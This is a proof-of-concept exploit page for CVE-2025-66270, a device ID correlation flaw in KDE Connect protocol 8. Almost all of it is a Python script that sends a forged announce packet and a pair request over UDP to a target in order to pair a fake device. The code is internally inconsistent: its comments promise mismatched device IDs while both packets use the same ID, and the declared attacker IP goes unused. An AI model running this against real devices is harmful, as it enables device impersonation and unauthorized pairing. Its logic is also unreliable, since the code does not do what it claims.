CVE-2025-66270: KDE Connect协议设备ID关联缺陷漏洞

# CVE-2025-66270 PoC - KDE Connect Device ID Correlation Attack # This PoC demonstrates the device ID correlation vulnerability in KDE Connect Protocol 8 # Attack vector: MITM attack to impersonate a device by not correlating device IDs across packets import socket import struct import json import time class KDEConnectVulnPoC: def __init__(self, target_ip, attacker_ip): self.target_ip = target_ip self.attacker_ip = attacker_ip self.port = 1716 # KDE Connect default port self.protocol_version = 8 def create_device_pair_request(self, fake_device_id, fake_device_name): """Create a malicious pair request without proper device ID correlation""" packet = { "id": int(time.time() * 1000), "type": "pair", "body": { "deviceId": fake_device_id, "deviceName": fake_device_name, "deviceType": "desktop", "protocolVersion": self.protocol_version } } return json.dumps(packet) def create_device_announce_packet(self, fake_device_id): """Create announce packet that doesn't correlate with pair request""" packet = { "id": int(time.time() * 1000), "type": "deviceAnnounce", "body": { "deviceId": fake_device_id, "deviceName": "FakeDevice", "deviceType": "desktop", "protocolVersion": self.protocol_version, "tcpPort": 1716 } } return json.dumps(packet) def exploit(self): """ Exploit the device ID correlation vulnerability: 1. Send announce packet with fake device ID 2. Send pair request with different/uncorrelated device ID 3. Protocol does not verify IDs match across packets """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) fake_device_id = "AttackerDevice123" fake_device_name = "MaliciousDevice" # Step 1: Send announce packet announce = self.create_device_announce_packet(fake_device_id) sock.sendto(announce.encode(), (self.target_ip, self.port)) print(f"[+] Sent deviceAnnounce packet with deviceId: {fake_device_id}") # Step 2: Send pair request (device ID not correlated with announce) pair_request = self.create_device_pair_request(fake_device_id, fake_device_name) sock.sendto(pair_request.encode(), (self.target_ip, self.port)) print(f"[+] Sent pair request packet") # Step 3: Wait for response (vulnerability allows pairing without proper verification) try: data, addr = sock.recvfrom(4096) response = json.loads(data.decode()) print(f"[+] Received response: {response}") if response.get('type') == 'pair': print("[!] VULNERABLE: Pair request accepted without proper device ID correlation") except socket.timeout: print("[-] No response received") sock.close() return True if __name__ == "__main__": target = "192.168.1.100" attacker = "192.168.1.200" poc = KDEConnectVulnPoC(target, attacker) poc.exploit()